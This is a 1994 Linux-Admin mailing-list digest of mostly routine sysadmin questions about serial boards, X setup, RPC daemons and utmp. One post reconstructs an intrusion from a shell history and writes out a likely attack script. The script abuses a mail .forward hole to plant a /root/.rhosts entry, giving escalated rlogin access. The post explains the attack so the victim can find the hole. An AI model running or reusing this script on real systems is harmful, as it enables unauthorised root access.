600 lines
21 KiB
Plaintext
600 lines
21 KiB
Plaintext
From: Digestifier <Linux-Admin-Request@senator-bedfellow.mit.edu>
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To: Linux-Admin@senator-bedfellow.mit.edu
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Reply-To: Linux-Admin@senator-bedfellow.mit.edu
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Date: Fri, 7 Oct 94 00:13:48 EDT
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Subject: Linux-Admin Digest #153
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Linux-Admin Digest #153, Volume #2 Fri, 7 Oct 94 00:13:48 EDT
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Contents:
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16-user dial-up Linux? (Bill Stapleton)
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Re: Ugidd (CramDaddy)
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Re: Lynx under Linux (Top Dog)
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installing tcpip and dip help (Glen Pinkston)
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Re: Non-root can't start X (Randy Hootman)
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Re: rpc.rstatd (Polaris)
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Re: inetd & rpc.portmap (was Re: inetd seems to lock-up) (David La Croix)
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Re: utmp weirdness (Mark D. Roth)
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Re: Bug in Linux 'mv'? (Scott Barker)
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Re: RLOGIN security - more info! (Bill C. Riemers)
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Re: XFree86-3.1 - Whoopee! (Andrew Robert Ellsworth)
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Re: Telnet & ftp freeze! (Colin Beckmann)
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Re: PACKET SNIFFER FOR LINUX (Jim Graham)
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Re: gcc & g++ help (H.J. Lu)
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Re: Mystery Chip...AMD (G. E. Terry)
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mpeg_play for linux (Klevemann)
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----------------------------------------------------------------------------
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From: wls@magrathea.csd.uwm.edu (Bill Stapleton)
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Subject: 16-user dial-up Linux?
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Date: 5 Oct 1994 20:26:15 GMT
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We're planning on setting up a Pentium-90 type machine (64 meg, PCI/SCSI 2 gig)
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with 16 modem lines for dial-up usage. We haven't decided what hardware to
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connect the serial lines with though. Are people actually using any of those
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neat new multiport "intelligent" serial boards, especially with modem control?
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Anybody doing multi-user dial-up willing to share hints/warnings/experience,
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or bleeding edge hardware horror tales?? :-) Please E-mail and I'll post a
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summary. Thanks...
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--
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Bill Stapleton
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wls@magrathea.csd.uwm.edu
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uwmcsd4!wls
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------------------------------
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From: cramer@catt.ncsu.edu (CramDaddy)
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Subject: Re: Ugidd
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Date: 5 Oct 1994 20:34:09 GMT
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ongg@athena.mit.edu (Jay Ongg) writes:
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>Where can i find information on how to use ugidd, or the binaries to
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>unfsd, and/or man pages!?
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>
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>I've looked everywhere, can't find it, not even on the man pages of
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>machines of other platforms.
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>Can someone help me out here?
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>Thanks!
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It ain't easy... it took me three days to find the ugid_map crap and another
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day to figure out how to put 1980 code into the current linux rpc.{mountd,nfsd}
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daemons. I do however have it running. The source and binaries may be found
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on nastromo.catt.ncsu.edu(152.1.43.57):/pub/nfs-project
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--cramer
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=========================================================================
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= root@nastromo.catt.ncsu.edu NCSU Project Borg... 2nd of 7 =
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= jfbeam@tx.ncsu.edu NCSU College of Textiles =
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= jfbeam@eos.ncsu.edu NCSU College of Engineering =
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= jfbeam@axposf.ps.dec.com Alpha OSF/1 Development System (DEC) =
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= cramer@catt.ncsu.edu NCSU Computer and Technologies Theme Program =
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=========================================================================
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= 414E Wood, NCSU, Raleigh, NC 27607 (919) 512-4653 =
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= 2600 Royster Rd., Shelby, NC 28150-2889 (704) 538-9060 =
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=========================================================================
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------------------------------
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Crossposted-To: comp.infosystems.www.misc,comp.infosystems.www.providers,comp.os.linux.help,comp.os.linux.misc
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From: root@hal10k.com (Top Dog)
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Subject: Re: Lynx under Linux
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Date: Thu, 6 Oct 1994 10:49:46 GMT
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I have also noticed that Lynx is much slower in retriveing documents
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than Mosaic. Can anyone tell me why that is. I don't have much memory
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and I run X and Mosaic only when I want to view some graphics.
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------------------------------
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From: gpink@tyrell.net (Glen Pinkston)
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Subject: installing tcpip and dip help
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Date: Thu, 6 Oct 1994 11:17:40 GMT
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I am having problems with getting tcp-ip and dip to work I am using a
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486DX 33 and a zyxel 1496. It will not connect correctly. It will get
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the carrier but will not connect. I put the same modem init string that
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was in minicom and it still did the same thing. Minicom works fine. tho.
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------------------------------
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From: rph@netcom.com (Randy Hootman)
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Subject: Re: Non-root can't start X
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Date: Mon, 3 Oct 1994 05:00:40 GMT
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You need an Xconfig file in your home directory. Find the utility
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ConfigXF86 to help you set it up.
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Randy
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: I can only start X when logged in as root. I needs some pointers on where to
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: look in my configuration for the problem.
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: Here's the message I get when trying to run openwin or startx (to start
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: fvwm):
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: linux:/hda3/danw$ openwin
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: XFree86 Version 2.1 / X Window System
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: (protocol Version 11, revision 0, vendor release 5000)
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: Operating System: Linux
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: Configured drivers:
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: VGA256: server for 8-bit colour SVGA (Patchlevel 0):
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: et4000, et3000, pvga1, wd90c00, wd90c10, wd90c30, wd90c31, gvga, ati,
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: tvga8800cs, tvga8900b, tvga8900c, tvga8900cl, tvga9000, clgd5420,
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: clgd5422, clgd5424, clgd5426, clgd5428, clgd6205, clgd6215, clgd6225,
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: clgd6235, clgd543x, ncr77c22, ncr77c22e, cpq_avga, oti067, oti077
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: (using VT number 7)
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: Fatal server error:
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: No config file found!
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: Fatal server error:
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: Error reading config file
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: xinit: No such file or directory (errno 2): unexpected signal 13
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: I have these in my home:
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: linux:/home/danw# ls -al .X* .x*
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: -rwxr-xr-x 1 danw root 503 Sep 24 18:42 .Xdefaults*
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: -rwxr-xr-x 1 danw root 438 Sep 24 18:38 .Xmodmap*
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: -rwxr-xr-x 1 danw root 983 Oct 1 20:22 .Xresources*
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: -rwxr-xr-x 1 danw root 1408 Oct 2 13:00 .xinitrc*
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: Any advice gratefully accepted!
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: Thanks,
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: Dan
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: --
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: danw@panix.com
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: Daniel Wold 239 City Island Ave, Bronx, NY, 10464
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: finger danw@danw.dialup.access.net
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: Sysop: WORLD CITIZEN BBS 718-885-2346 14.4 24 hrs FREE Fidonet BahaiNet
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--
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///////////////////////////////////////////////////////////////////////
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"In recognizing the humanity of our fellow beings,
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we pay ourselves the highest tribute." - Thurgood Marshall
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//////////////////////////////////////////////////////////////////////
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Randy Hootman Randysoft Software (408) 229-0119
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------------------------------
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From: R.G.W.Carver@dcs.warwick.ac.uk (Polaris)
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Subject: Re: rpc.rstatd
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Date: Thu, 6 Oct 1994 15:32:14 GMT
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petrini@di.unipi.it (Fabrizio Petrini) writes:
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>I tryed to install rpc.rstadt. When I run it in my rc.local I get
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>the following error message :
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>~# Cannot register service: RPC: Unable to receive; errno = Connection refused
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>unable to register (RSTATPROG, RSTATVERS_TIME, udp).
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rpc.rstatd uses the rpc system - it tries to register itself with the
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rpc.portmap program - you must have rpc.portmap running to use any other
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servers that use rpc.
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Richard.
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--
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Richard Carver - polaris@dcs.warwick.ac.uk
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------------------------------
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From: dlacroix@guilder.bevd.blacksburg.va.us (David La Croix)
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Subject: Re: inetd & rpc.portmap (was Re: inetd seems to lock-up)
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Date: 6 Oct 1994 15:46:36 GMT
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Bradley M. Kuhn (bkuhn@hope.loyola.edu) wrote:
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: Alright. I have it TOO. I am using 1.0.9 from Slackware. Does 1.0.8 solve
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: the problem (or not have it, rather)? To think one version before would save
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: me these headaches!
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: I also have another problem. inetd on a machine that has drives nfs mounted
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: from it, inetd seems to spawn extra rpc.portmaps, one after another until the
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: original one is killed. is this a related problem, or something else?
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The fix to this is either a) compiling with the I_am_a_broken_BSD_weenie
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option or patching the libc to 2.5.26a or later.
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(the rpc.portmap bug) Also I recommend upgrading to the latest rpc.portmapper
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because it fixed a couple of other potential bugs (specifically security
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concerns)
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: --
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: -- Bradley M. Kuhn
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: EMAIL: bkuhn@cs.loyola.edu, bkuhn@loyola.edu, bkuhn@rhlab.com
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--
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dlacroix@guilder.bevd.blacksburg.va.us
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dlacroix@vt.edu
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------------------------------
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From: roth@ux4.cso.uiuc.edu (Mark D. Roth)
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Subject: Re: utmp weirdness
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Date: 3 Oct 1994 21:33:20 GMT
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swrek@whoa.cosmic.com (Joe Beiter) writes:
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>I am constantly having a problem where people are logging into the system
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>but then they are being removed from utmp for some reason.. ie: they
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>log in.. I do a "who" and see that they are logged in.. Then do a "who"
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>later on and they are gone from the system.. but they are actually still
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>logged in and even active.
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>This is causing various problems.. the most annoying being SIGHUP if they
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>happen to drop carrier or if someone wants/needs to "talk" with them.
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>It seem to be happening on all of our dialup systems.. we're running linux
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>1.1.50 and 1.1.47 with Digiboards and USR 14.4 modamns and /etc/getty.
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A friend of mine was having this problem with his BOCA 8port board.
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If I'm remembering correctly, the problem was that the utmp/wtmp file
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formats only have 2 characters allocated for the tty number, and he
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was using ttyS16 through ttyS24 for the ports. So login was trying to
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save "S16", a 3 character string, into a two character space, which
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obviously confused things. The fix was to change the names of the
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tty devices that correspond to the ports with the problems. (As long
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as the major and minor device numbers are the same, it will work.
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Just make sure you tell init to run getty on the new tty names.)
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Hope this helps.
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>Any help/clues/flames/comments would be appreciated.
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You'd even appreciate FLAMES? You *are* desperate... :)
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--
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roth@uiuc.edu | Mark D. Roth | http://www.cen.uiuc.edu/~mr4342/
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(GEEK CODE 2.1) GCS d-- H+ s++:- g+ p1>4+ !au a-- w++@ v-(*)
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C++>$ UL+>++++ P--- L++>+++ 3 E(-) N++ K++ W--- M-- V-
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po Y+ t++@ 5+ !j R-- G tv b+ D+ B--- e+(*) u+@ h>++ f+ r@ n+@ y?
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------------------------------
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From: scott@galileo.cuug.ab.ca (Scott Barker)
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Subject: Re: Bug in Linux 'mv'?
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Date: Thu, 6 Oct 1994 19:21:49 GMT
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Christopher Gori (cgori@isengard.stanford.edu) wrote:
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> (cdw@cci.com (Craig Woodward)) wrote:
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> > What about `cp -arp * /splat`? Much simpler then tar.
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> NO NO NO
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> cp doesn't copy symlinks. If you want a completely messed up file tree, go
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> for it, otherwise use tar from the source tree:
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the '-a' option of copy tells it to copy symlinks. It implies '-d' which is
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"no-dereference". It works just fine for me.
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--
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Scott Barker
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scott@galileo.cuug.ab.ca
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"Philosophy: unintelligible answers to insoluble problems."
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- ???
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------------------------------
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From: bcr@k9.via.term.none (Bill C. Riemers)
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Subject: Re: RLOGIN security - more info!
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Date: 05 Oct 1994 22:27:04 GMT
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Reply-To: bcr@physics.purdue.edu
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>>>>> "Gregory" == Gregory Trubetskoy <grisha@cais.cais.com> writes:
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Gregory> This is regarding my earlier post about the possibilty of
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Gregory> making an .rhosts file in the bin directory.
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Gregory> This wasn't my idea - a friend of mine told me that he
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Gregory> can crack my linux box in three minutes. I gave him an
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Gregory> account and said "Go for it!". Three minutes later he
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Gregory> became bin. Unfortunately, I cannot find out how it was
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Gregory> done...
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Gregory> Now, here is the .bash_history file. Can someone guess
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Gregory> what is in the xxx file? This user did not have the write
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Gregory> rights to /bin (as I thought earlier) , so there is some
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Gregory> kind of a trick in the xxx script...
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Gregory> The user's name has been replaced with "username"
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Gregory> Any comments?
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Well I don't know what he did, but I think at least I can find the
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security hole. Lets see.
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username> less < /etc/inetd.conf
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OK, my guess is here is checking out your security. He probably
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noticed the a line:
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* stream tcp nowait bin /usr/sbin/tcpd /usr/sbin/in.*
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^^^
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for some command that can be used as a backdoor.
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So now he has a way in...
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username> less < /etc/hosts.deny
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Now he is checking to see if you explicitly blocked this hole. You
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probably haven't.
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username> finger root
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Hmm, here he is probably finding-out where root's home directory is.
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username> cd /root
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Yep, that is where he went to.
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username> ls -la
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Scoping out root's home directory. Hopefully he got a:
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ls: .: Permission denied
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username> cd /
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username> ls -la
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username> cd /var/tmp
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username> ls -la
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OK now it is obvious he is trying to scope out a place with the
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correct permissions for his plan.
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username> ftp
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OK, here is the tricky part. He could have done just about anything
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that can also be done from a shell.
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username> vi
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username> chmod u+x xxx
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username> ls -la
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username> ls -la
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username> xxx
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username> xxx /root/.rhosts username localhost
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OK it is obvious that this means 'echo localhost username >
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/root/.rhosts' using some security hole. My guess is it the
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smpt one everyone has been talking about. So the script
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probably looked like this:
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#!/bin/tcsh
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echo /bin/.rhosts > ~/.forward
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mail -r root $USER <<+
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test
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+
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sleep 10
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echo \"\|tail -1 \> $1\" > ~/.forward
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(tee /dev/tty | mail -r root $USER ) <<+
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$3 $2
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+
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rm ~/.forward
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If this is it, you should see the in the smail logfile that this is
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how the .rhosts file was created.
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From there, the rest is trivial. Based on the fact the .rlogin
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options where specified in reverse order, I'm guessing the person
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who cracked your system was equally clueless, but just happened
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to see this and a few other security holes posted on the net...
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Bill
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--
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<A HREF=" http://physics.purdue.edu/~bcr/homepage.html ">
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<EM><ADDRESS> Bill C. Riemers, bcr@physics.purdue.edu </ADDRESS></EM></A>
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<A HREF=" http://www.physics.purdue.edu/ ">
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<EM> Department of Physics, Purdue University </EM></A>
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------------------------------
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From: are1@ritz.cec.wustl.edu (Andrew Robert Ellsworth)
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Subject: Re: XFree86-3.1 - Whoopee!
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Date: 6 Oct 1994 16:02:39 -0500
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Carlos Dominguez <carlos@interport.net> wrote:
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>Now that it's been released.. Is there a compelling reason to upgrade?
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>
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>Will fvwm and its modules work in Xfree3.11?
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Unless you have a bunch of X11R6-specific programs you need to run, no. I
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just got the new version of the Xserver that supports my video card (W32) and
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was done with it. As far as fvwm, etc. working OK, I don't know. But if you
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don't need to run X11R6-specfic stuff, I doubt it's worth the trouble (unless
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you just want to be able to say "I have the latest version of Xfree86"). :)
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Andy Ellsworth
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are1@cec.wustl.edu
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------------------------------
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From: coling@ivory.torolab.ibm.com (Colin Beckmann)
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Crossposted-To: comp.os.linux.help,comp.os.linux.misc,comp.os.linux.development
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Subject: Re: Telnet & ftp freeze!
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Date: 6 Oct 1994 15:15:57 GMT
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Ralph Sims (ralphs@halcyon.halcyon.com) wrote:
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: root@jaguar.tigerden.com (System Administrator) writes:
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: >Trevor Lampre (trevor@xanax.apana.org.au) wrote:
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[stuff deleted]
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: >for confirming what we've been seeing! I suggest we keep this thread
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: >open and fill it with additional information until the problem gets the
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: >attention it needs. I'm not a programmer, much less a kernel hacker, so
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: >I can only voice frustration with the situation.
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: And what about those of us that DON'T see it? Basic setup is a
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: dedicated PPP link on a 14.4 dialup, NET-3 stuff, ppd 2.1.2a,
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: etc., with an InfoMagic/TransAmeritech CD-ROM combined install.
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: I move many megabytes of files around via FTP daily, and another
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: many megs around with mosaic and lynx. Sendmail+IDA's been
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: rock-solid.
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[stuff deleted]
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If your not seeing be thankful and provide your system configuration
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so the experts can see whats working and whats not working
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I am NOT seeing th problem, Have a 14.4 modem using NET-3 pppd 2.2.2a with
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slackware 1.2 , and kernel 1.1.30. I have downloaded 20 and 30 megs in a
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single session via ftp and never had a problem. I regularly rlogin to
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other sites, once again without problem
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Colin
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------------------------------
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From: jim@n5ial.mythical.com (Jim Graham)
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Subject: Re: PACKET SNIFFER FOR LINUX
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Date: Wed, 5 Oct 1994 23:07:50 GMT
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In article <36scpk$lr2@netnews.upenn.edu> rgollent@force.stwing.upenn.edu
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(Roman Gollent) writes:
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>Hmm, geee... I wonder why you would want a packet sniffer?? >:)
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I truly hope that, by adding the smiley at the end, you are telling us
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that you were only joking, and not to even begin to take your remarks
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seriously, but just in case.... (The rest of this post assumes that you
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really were expecting your post to be taken seriously.)
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Can you say ``network troubleshooting''??? I don't know for sure that
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this was their intent, but that is the primary use for such a tool.
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A Sniffer (tm?) and clones (by Sniffer, I refer to the actual product
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by that name) is one of the most valuable pieces of LAN test equipment
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currently available. I'd give anything to have one at work right now
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(I'm the system/network admin for a gov't contractor here in Ft. Walton)
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to test our ethernet. Of course, the functionality I'd be using in
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this case would be the TDR (that's Time Domain Reflectometer for you
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non-telecom folks out there---in short, it basically tells you where a
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cable fault is and what type of fault it is).
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Either way, network monitor/trace software is a very, very powerful tool.
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In the hands of a good guy, it can be a life-saver when it comes to network
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troubleshooting. In the hands of a bad guy, well, there are defenses
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against what they do with such tools, but yes, it can be as dangerous in
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their hands as it is useful in a non-criminal's hands. But then, this
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isn't exactly the first time a valuable tool (to the good guys) exists
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that is capable of being mis-used by criminals.
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Welcome to the wonderful world of computers and networking....
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Later,
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--jim
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--
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73 DE N5IAL (/4) < Running Linux 1.0.9 >
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jim@n5ial.mythical.com ICBM: 30.23N 86.32W
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|| j.graham@ieee.org Packet: --OFFLINE-- (Ft. Walton Beach, FL)
|
|
E-mail me for information about KAMterm (host mode for Kantronics TNCs).
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------------------------------
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From: hjl@nynexst.com (H.J. Lu)
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Subject: Re: gcc & g++ help
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Date: 5 Oct 1994 23:10:04 GMT
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In article <Cx5v18.990@mercury.wright.edu>, s010dls@alpha.wright.edu () writes:
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|> I want add a path to the list of paths automatically searched for
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|
|> include files. I would also like to disable one of the warning
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|> messages. How do I do this?
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|>
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|> Thanks.
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gcc -v
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H.J.
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|
------------------------------
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From: gterry@gate.net (G. E. Terry)
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Crossposted-To: comp.sys.ibm.pc.hardware.systems,comp.os.linux.misc
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Subject: Re: Mystery Chip...AMD
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Date: 5 Oct 1994 23:19:38 GMT
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RYAN Colin Patrick (ryan@ecf.toronto.edu) wrote:
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: While responding to an add inteh local paper for a $99 486 upgrade it came
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: to light that this upgrade was a quote "486/66 Mhz" which was a "faster chip and less expensive than the i486DX2-66". This propted my query on what the hell
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|
: this chip was and the response was AMD. I was not aware of this chip. I was
|
|
: under the impression that all the 66's 75's 100's etc (non-Pentium) were
|
|
: overclocked 33 Mhz chips. Does a 'real' 66 Mhz chip exist? If so (and I dont'
|
|
: think so" do traditional mother boards ( ie that could handle a DX2) support
|
|
: this chip. And Finally, if this is true is it compatble and reliable.
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|
|
This is just an clock doubled 33. I would say it might have been an error
|
|
in the ad. I have one of these chips. The story I read was that Advanced
|
|
Micro Devices bought the masks for the 80286 from Intel a few years back.
|
|
They decide to try to test the copywrite & patent laws by cloning the
|
|
386 & 486 chips. Well they were very successful and Intel sued. In the
|
|
following trial, Intel LOST. I hear it was due to the naming system that
|
|
they used. It made the chips generic in the eyes of the court. That is why
|
|
there is no 80586, and we have the Pentium.
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As far as reliability, the AMD 486DX2/66 is an exact duplicate of Intel's
|
|
chip, or so I read in PC Magazine. And at an average of 100 to 150 dollars
|
|
less than Intel, I am a buyer!
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|
|
------------------------------
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From: klevemmc@miner.usbm.gov (Klevemann)
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|
Subject: mpeg_play for linux
|
|
Date: 5 Oct 1994 23:15:34 GMT
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|
Anyone know where I can get an mpeg_play for linux ?
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|
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--
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|
=============================================================================
|
|
Matt Klevemann, Branch Of Information Services (ADP), U.S. Bureau Of Mines
|
|
email: klevemmc@miner.usbm.gov voice: 412-892-6499 fax: 412-892-4205
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|
The opinions expressed are mine, not USBM's or my wife's...
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"We don't know where we are going, but we are well on our way" - F.D.R.
|
|
=============================================================================
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|
------------------------------
|
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** FOR YOUR REFERENCE **
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The service address, to which questions about the list itself and requests
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to be added to or deleted from it should be directed, is:
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Internet: Linux-Admin-Request@NEWS-DIGESTS.MIT.EDU
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You can send mail to the entire list (and comp.os.linux.admin) via:
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Internet: Linux-Admin@NEWS-DIGESTS.MIT.EDU
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Linux may be obtained via one of these FTP sites:
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nic.funet.fi pub/OS/Linux
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tsx-11.mit.edu pub/linux
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sunsite.unc.edu pub/Linux
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End of Linux-Admin Digest
|
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******************************
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